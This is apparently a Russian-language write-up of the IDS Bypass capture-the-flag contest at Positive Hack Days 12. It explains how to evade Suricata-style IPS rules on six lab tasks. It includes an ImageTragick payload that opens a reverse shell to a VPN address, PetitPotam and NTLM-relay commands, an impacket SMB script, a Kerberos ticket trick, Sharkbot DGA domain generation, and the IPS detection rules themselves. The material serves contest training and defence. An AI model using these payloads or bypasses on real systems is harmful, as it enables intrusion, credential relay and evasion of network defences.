Дано: 6 уязвимых хостов
Telegram-бот для доступа к заданиям
OpenVPN для доступа к игровой сети
IPS-система, которая всем мешает играть
Решение: Обойти сигнатуры IPS
Добыть флаги со всех хостов
Сделать это раньше всех
Вот и прошел большой киберфестиваль Positive Hack Days 12, а вместе с ним и наш конкурс IDS Bypass — соревнование, в котором уязвимости даются участникам на блюдечке, а забрать их им мешает система IPS. Кто не знает, мы проводим его уже в четвертый раз. В этом году рекорд по количеству участников обновился: 138 участников (в предыдущий раз их было 101) реализовали 39 уникальных взломов. По традиции делаем разбор тасков и обзор их решений, которых, как всегда, бывает несколько. Поехали!
Кстати, задания все еще доступны — вы можете порешать их для себя.
Пару слов о формате IDS Bypass
IDS и IPS — это одна и та же система обнаружения атак в сетевом трафике, но в разных режимах — detection или prevention (часто эти аббревиатуры взаимозаменяемы). Трафик проходит сквозь нее и, если сигнатуры этой системы заподозрят что-то неладное, вредоносные пакеты просто отбрасываются, а участник получает сообщение с названием сработавшего правила в Telegram. Обычно такие системы выявляют активность злоумышленников или вредоносного ПО во всей сети организации, но в конкурсе IDS Bypass мы используем специально разработанные для конкурсных задач правила. В их сообщениях уже заложены небольшие подсказки. Если участник поймет, какой именно сетевой пакет был отброшен IPS-системой, и обратит внимание на название сработавшего правила, то сможет понять принцип его работы и придумать способ обхода. Конкурс был доступен с 10 часов 19 мая до 16 часов 20 мая; основной захек конкурсных заданий зачастую происходит ночью. Начнем разбор с самых легких, а затем перейдем к сложным.
Task1: Tragedy
Серию простых тасков открывает Tragedy, название которого уже содержит подсказку: речь идет об Image Tragick. Участник заливает изображение через веб-форму, которое затем конвертируется на сервере в jpeg. Разумеется, дефолтный эксплойт с image over будет обнаружен и уничтожен. IDS-правило обнаруживает следующие варианты, которые обычно упоминаются в публичных эксплойтах:
pcre: "/\b(?:text|label|url|caption|ephemeral|msl|pango|image over|href)\b/Pi";
Однако способов обхода для этого эксплойта придумано еще больше. Байпасы можно подсмотреть и в официальной документации ImageMagick, поэтому любые аналоги эксплойта с src, src-over, src-in и прочие тоже будут работать. Участники могли догадаться, что файл с флагом flag.txt лежит в той же директории веб-сервера, но если нет, узнать об этом они также могли при помощи RCE.
push graphic-context
viewbox 0 0 640 480
image src 0,0 0,0 "|bash -i >& /dev/tcp/10.8.0.6/6666 0>&1"
pop graphic-context
Task2: Connectivity check
Участников встречала та же форма, но уже с предложением ввести IP-адрес. Если в форме указать свой IP-адрес VPN да поднять на 80-м порту веб-сервер и передать по запросу необходимый ответ, то его остановит IDS-сигнатура:
drop http any any -> any any (msg: "POLICY [PTsecurity] connectivity checks prohibited"; content: "connectivity"; http_server_body; nocase; classtype: not-suspicious; sid: 21; rev: 1; )
То есть передать строку «Connectivity» серверу в ответ по HTTP не получится никак, ни при каком раскладе. IDS распарсит ваш HTTP-ответ и не пропустит его. Перебираем среди знакомых байпасов разные энкодинги, вложенное сжатие и наполнение ответа «мусором» — возможно, что-то из этого сработает. Хотя проще всего прибегнуть к более концептуальному и изысканному редиректу на HTTPS. Еще раз тренируем свои навыки обращения с ncat и получаем флаг:
> echo -e "HTTP/1.1 301 Moved Permanently\r\nLocation: https://10.8.0.10/\r\n\r\n" | sudo ncat -nvlkp 80 -w1
> echo -e "HTTP/1.1 200 OK\r\nContent-Length: 18\r\n\r\nConnectivity check" | sudo ncat -nvlkp 443 --ssl -w1
> curl -v http://10.0.0.17/?ip=10.8.0.26
> flag{Y4s_1m_0nl1n3}
Task3: smbX
Дано: пользователь, учетная запись и хост. На узле доступны только SMB и HTTP, причем упомянутая учетка подходит только для SMB. Более того, само название smbX о чем-то говорит.
Подключаемся по SMB, видим флаг, но при попытке его прочитать получаем алерт.
> smbclient EVIL/dummy:EVILP@ssw0rd@10.0.0.94
> use flag
> ls
> cat flag.txt
Правило и правда сработало на запрос SMBv1 ReadAndX ровно в тот момент, когда клиент участника попытался прочитать содержимое файла flag.txt. Из байпасов на ум приходят всего лишь два способа — один в лоб, другой хитрее: либо во что бы то ни стало необходимо отправить запрос ReadAndX, либо использовать другие возможности SMBv1 для чтения файлов. Причем мы умышленно отключили SMBv2 для этого задания, чтобы уменьшить число потенциальных байпасов.
Какой из способов сработал? Оба! Это как нельзя лучше передает дух нашего конкурса.
Если поискать в интернете по сочетанию слов «IDS Suricata SMB ReadAndX bypass», то можно наткнуться на презентацию с конференции Suricon 2021, где авторы рассказывают о несовершенстве парсеров SMB в популярной открытой IDS-системе. Кстати, именно Suricata IDS мы использовали в первых конкурсах IDS Bypass.
Детектирующее правило было разработано специально для этого способа, поскольку оно проверяло только первую команду в SMB-сообщении. Добавив небольшой запрос LockingAndX перед ReadAndX, любой участник с легкостью мог прочитать флаг. Правда, для этого ему пришлось бы разработать патч для библиотеки impacket.
Что вообще значит AndX в командах Read, Locking и других? В первой версии протокола SMB авторы добавили возможность отправки так называемых групповых сообщений (batched messages) внутри одного пакета для экономии объема передаваемых данных и времени. Несколько команд могут быть соединены внутри одного SMB-пакета в цепочку запросов, каждый из которых может использовать результаты предыдущего. Но сейчас такие пачки сообщений вряд ли можно встретить в трафике. Разве что по умолчанию утилита smbclient из библиотеки impacket использует команду ReadAndX для чтения файла, на которую и срабатывает правило. Назовем этот способ «долгий путь».
Второй способ быстрее, а еще он более точно описывает концепцию конкурса IDS Bypass: задания могут иметь несколько решений. Просто меняем команду ReadAndX на Read и получаем тот же результат.
Участник fiercebrute написал небольшой скрипт для библиотеки impacket:
from impacket import smb
s = smb.SMB(‘*SMBSERVER’, ‘10.0.0.94’)
s.login(‘dummy’, ‘EVILP@ssw0rd’)
tid = s.tree_connect_andx(r”\*SMBSERVER\flag”)
fid = s.open_andx(tid, ‘flag.txt’, smb.SMB_O_OPEN, smb.SMB_ACCESS_READ)[0]
print(s.read(tid, fid))
s.close(tid, fid)
> flag{W0w_y0u_d1d_IT!}
Task4: Little Hippo
Одним из новшеств в этом конкурсе стало то, что в одном задании использовалось сразу два хоста. Помните, на узле smbX был еще один открытый порт 80/HTTP? Так вот, это для задания Little Hippo. Его название отсылает к эксплойту PetitPotam, эксплуатация которого позволяет провести атаку NTLM relay на контроллер домена.
Контроллером домена выступал хост 10.0.0.239, а для атаки PetitPotam не требовалась авторизация. Поднимаем ntlmrelayx и заводим эксплойт одной командой:
> sudo ntlmrelayx.py -t http://10.0.0.94/flag.txt -smb2support
> python3 PetitPotam.py 10.8.0.26 10.0.0.239
По традиции участника, в лоб использовавшего этот эксплойт, ждал алерт. Суть этого правила довольно проста: оно проверяет специальное поле Target в структуре NTLMSSP. При эксплуатации PetitPotam участник посылает запрос EfsRpcOpenFileRaw, чтобы убедить сервер обратиться на его хост в VPN сети. Затем участник просит сервер авторизоваться, и эту авторизацию он и будет релеить на HTTP-порт хоста 10.0.0.94. Если NTLM-авторизация происходит для SMB, то и поле Target будет иметь префикс cifs/, который и обнаруживает сигнатура IDS в HTTP-трафике. Довольно странно встретить поле cifs в HTTP-запросе, не так ли?
drop http any any -> any any (msg: "ATTACK [PTsecurity] SMB-to-HTTP NTLM Relay attack"; flow: established, to_server; content: "Authorization"; http_header; nocase; content: "NTLM"; nocase; http_header; distance: 0; pcre: "/(?:wBpAGYAcwA|MAaQBmAHMALw|jAGkAZgBzAC8)/RH"; classtype: attempted-admin; sid: 43; rev: 3;)
К сожалению, ни один из участников не решил это задание за отведенное время. Мы решили повторить его в следующем году и дать подсказки. Если у вас есть идеи решений, пишите их в комментариях к статье или в чате конкурса.
Task5: ABC
А это то самое задание, которое перешло с прошлогоднего IDS Bypass. Задача более чем классическая: забрать флаг с SMB-шары, аутентификация к которому осуществляется по протоколу Kerberos. В чем сложность? Система IDS эмулирует отслеживание цепочки билетов Kerberos и не позволяет получать TGS-билет для сервиса CIFS, если для этого используется обычный TGT-билет. Задание отдаленно напоминает механизмы, которые используются в системах анализа трафика (network traffic analysis, NTA). Например, PT Network Attack Discovery отслеживает цепочки выданных билетов, чтобы иметь возможность сопоставлять аутентификацию по TGS- билету и конкретного пользователя. Обычно это нетривиальная задача, так как имя пользователя при Kerberos аутентификации передается только единожды во время получения билета TGT. Для получения билетов TGS и при обращении к конкретным сервисам имя пользователя напрямую не используется. Билеты TGT могут перезапрашиваться в том числе при помощи запросов TGS, что может удлинить цепочку билетов до бесконечности. В этом и заключалось решение задания: переполучить билет TGT при помощи TGS-запроса. Хинты обоих лет практически прямо говорят об этом:
Do not stick to the TGT details. Take a look at the whole picture.
How many ways of getting TGT do you know?
Issue new TGT ticket with TGS request before share access.
При помощи библиотек impacket задача решается просто, и в целом перезапрос билета TGT при помощи TGS-запроса выглядит так:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(username, '', domain, compute_lmhash(password), compute_nthash(password), None, kdcHost=dc_ip)
principalName.components = ['krbtgt', 'ABC.XYZ']
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(principalName, domain, dc_ip, TGT['KDC_REP'], TGT['cipher'], TGT['sessionKey'])
> flag{Fl4g_was_s0_f4r_b4t_s0_cl0s4}
Task6: Bingo
Последнее задание минувшего конкурса: участникам выдавался PCAP-файл, внутри которого — несколько DNS-запросов. Согласно условию было необходимо починить некое вредоносное ПО, и само название таска похоже на имя какого-то поисковика. Пазл сложился?
Слово refused в ответах DNS означает, что сервер не знает такого имени. Но если поискать эти домены в Bing, например mjiymdiycg9qqkk5tehz
, то можно найти репозиторий с описаниями множества DGA-алгоритмов вредоносного ПО.
DGA (domain generation algorithm) — это специальный алгоритм генерации доменных имен во вредоносном ПО, по которым могут располагаться управляющие серверы. DGA используют для того, чтобы организации не могли заранее заблокировать вредоносные домены и тем самым остановить вредоносную кампанию. Генерация доменов, как правило, зависит от текущей даты.
Рано или поздно авторы любого ВПО на основе DGA зарегистрируют один из возможных доменов, по которому семплы смогут получить команду от управляющего сервера. Гениально!
Причем тут IDS? В этом задании обходить ее не требуется: система выступает в роли хинта, сообщая участникам о том, что используется один из DGA-алгоритмов. И если бы участник попробовал отрезолвить любой домен из PCAP-файла, он бы получил предупреждение, что его DGA-домен был остановлен.
drop udp any any -> any any (msg: "MALWARE [PTsecurity] Sharkbot generated domain name"; content: "bvakjjouxir0z"; pcre: "/(mt|mja).*?bvakjjouxir0z/"; threshold: type limit, track by_src, count 1, seconds 4; classtype: attempted-admin; sid: 61; rev: 1; )
drop udp any any -> any any (msg: "MALWARE [PTsecurity] Some DGA domain"; content: "mjiymdiycg9qqkk5teh"; threshold: type limit, track by_src, count 1, seconds 4; classtype: attempted-admin; sid: 62; rev: 1; )
Найдя алгоритм ВПО sharkbot v1.63, участникам необходимо было лишь насоздавать домены на 100 лет вперед и по очереди их отрезолвить на игровом DNS-сервере. То есть, по идее, генерировать домены требуется, пока IDS-система на них срабатывает. Интересно, что этот алгоритм зависел не только от текущего года, но и от текущей недели. Поэтому поиск можно было закончить и на 2045-46-х годах. Сам флаг хранился в TXT-записи.
dig @10.0.0.240 TXT mjewmhbvakjjouxir0z.info
> flag{I_c4ll_p0lic3}
La finale
В тройке лучших мы заметили как знакомые, так и новые лица (вспомнить, кто был лучшим в прошлом году, освежить в памяти итоги конкурса, а также сами задания можно здесь) . И, как всегда, борьба шла до последнего, хотя сюрпризов в последнюю минуту конкурса, как это было в том году, не произошло. Доступ к конкурсным хостам остается и ночью, когда участники могут заняться ими в спокойной обстановке, что произошло и на этот раз: два из трех призовых мест определились на исходе ночи.
Поздравляем всех участников и надеемся увидеться с вами в следующем году!
P. S. Таски с конкурса вы еще можете порешать, доступ через телеграм бот @idsbypassbot, обсуждение в чате конкурса.
1️⃣ Goru_kak_9ka | 2️⃣ psih1337 | 3️⃣ fiercebrute |
💰 Очки: 135 | 💰 Очки: 131 | 💰 Очки: 83 |
🏅 Решено заданий: 5 | 🏅 Решено заданий: 5 | 🏅 Решено заданий: 4 |